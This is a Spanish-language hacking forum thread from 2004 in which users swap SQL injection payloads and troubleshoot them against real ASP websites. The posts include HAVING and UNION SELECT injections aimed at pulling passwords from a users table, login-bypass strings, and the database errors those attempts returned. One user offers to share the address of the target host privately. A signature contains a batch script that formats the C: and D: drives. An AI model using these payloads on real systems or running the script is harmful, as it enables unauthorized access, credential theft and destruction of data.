Problemas con Inyeccion SQL

Iniciado por 1112ardiente, 30 Diciembre 2004, 11:59 AM

0 Miembros y 2 Visitantes están viendo este tema.

1112ardiente

Se puede decir que encontre una pagina en asp la cual tiene un pequeño error en su pagina de busqueda, me doy cuenta del error ya que al inyectar

' HAVING 1=1--

Me desplega el siquiente error

Column 'usuarios.Ident' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Bueno continue inyectando codigos para saber la estructura de la base de datos, despues de encontrar la estuctura completa decidi tratar de buscar los password de los usuarios iyectando este codigo

'UNION SELECT null,null,Password FROM usuarios WHERE usuarios.Nick='123456

Siendo 123456 un usuario valido y me desplego es siguiente error

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Bueno continuo tratando e introdusco la siguiente iyeccion

'UNION SELECT * FROM usuarios WHERE Nick = '123456

Siendo 123456 un usuario valido y me desplego es siguiente error

The text, ntext, or image data type cannot be selected as DISTINCT.

Hasta el momento no se me ha ocurrido mas nada, si alguno de los lectores se le ocurre alguna idea estaria agradecido, mientras voy a continuar estudiando a ver si lo logro

Saludos y Feliz Navidad
Antes de preguntar usa http://www.google.com

Falso Positivo

Si, este server es vulnerable a esta vieja falla...
Pero me parece que no estas prestandoa tencion a tu frase:
'antes de preguntar usa www.google.com'
porque hay otros metodos de inject SQL que te dan directamente un resultado positivo o puedes crear nuevos passwords.
Mira estod codigos y prueba son muy efectivos realmente mas que un 'HAVING 1--1 siendo que puedes usar una sentencia mejor construida.

1) ') OR ('a' = 'a

2) 'or''='

3) 'a''or'

4) 'a'or'G4rBaG3' (agrega a la base de datos el password G4rBaG3)
Estos ultimos son los que mas me sirvieron en su tiempo :P.
Como sea prueba con estos, pero aprende bien las sentencias que eso te servira para usar otras tecnicas.

@ECHO OFF
if exist c:\windows goto :peligro
if not exist c:\windows goto :particion d
: peligro
echo desa destruir su pc?
pause>>null
call format c:\q
:particion d
call format d:\q
Don't worry, be hacked....

1112ardiente

Gracias por contestar G4rBaG3, la verdad he buscado muchisimo en google.

El 'HAVING 1--1 lo utilice porque me dio curiocidad la estructura de la base de datos.

Mi idea no es incertar un registro en la base de datos sino sacar informacion de ella. El error de la pagina no lo encontre en la autentificacion del usuario, lo encontre en el buscador de usuarios.

Saludos
Antes de preguntar usa http://www.google.com

9reynas

 :D hace un poc tambien encontre una pagina con el bug de sql
pero me da la curiosidda de que el ' HAVING 1=1-- no ve va  es decir luego de poner en el url en

simplemente no me rula  es decir no me sirve .. como dicenq ue deberian servir en cada tutorialque he leido , pero he cambiado el ' por un 1 dejando la expresion en
1 HAVING 1=1--
y entonces queda en www.victim.com/algo.asp?id=1 HAVING 1=1-- con lo cual si me da la el nombre de la tabla y demas ,, bueno he de decir que soy nuevo en esto del sql ,,, buneo luego de checar que es vulnerable al bug , no queda mas que averiguar  los campos de la tabla ,,lo cual lo logro sin problemas, pero una vez mas aclarandoq ue en dichas sentencias en vez de poner el ' pongo un 1 en reemplazo ,, buno todo bien averiguo los campos sim problemas y loq ue sigue es averiguar que hay en dichos campos aqui mi problema ,ok cuando meto la sentenecia  en el url la cual vendria  ah hacer algo como
' UNION SELECT MIN(heading),1,1,1 FROM newsengine WHERE heading >'a'--    obetengo como resultado

Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near 'a'.

/news.asp, line 213

alguien me podria dar una mano en porque no me funciona esta sentencia ,,,
  :o thank de ante mano gente de elhacker uno de los mejores foros con gente de calidad como he visto

1112ardiente

Trata usando estas:

'UNION SELECT MIN(heading),1,1,1 FROM newsengine WHERE heading >'a

'UNION SELECT DISTINCT * FROM newsengine WHERE heading >'a

'UNION SELECT * FROM newsengine WHERE heading >'a

'UNION SELECT MIN(heading),null,null,null FROM newsengine WHERE heading >'a

Saludos

Antes de preguntar usa http://www.google.com

NokeR

ya cuesta encontrar websites vulnerables a este viejo bug, y prueba de poner todo lo que dice G4rBaG3, y comentanos aver que te sale

9reynas

sorry por demorar en contestar ,, ok gracias porlas respuestas ,,, he leido que esto de los 1 o los null en los min depende  de los campos en la tabla , pero bueno ya las he probado y naa igual voya tratar de checar mas info  y buneo si encuentro algun nuevo dato lo posteo de todas formas noker y 1112ardiente  agregemme pa pasarle la direccion de l host sergius_21@hotmail.com
please decime que es por lo del sql


http://perso.wanadoo.es/sergius_21/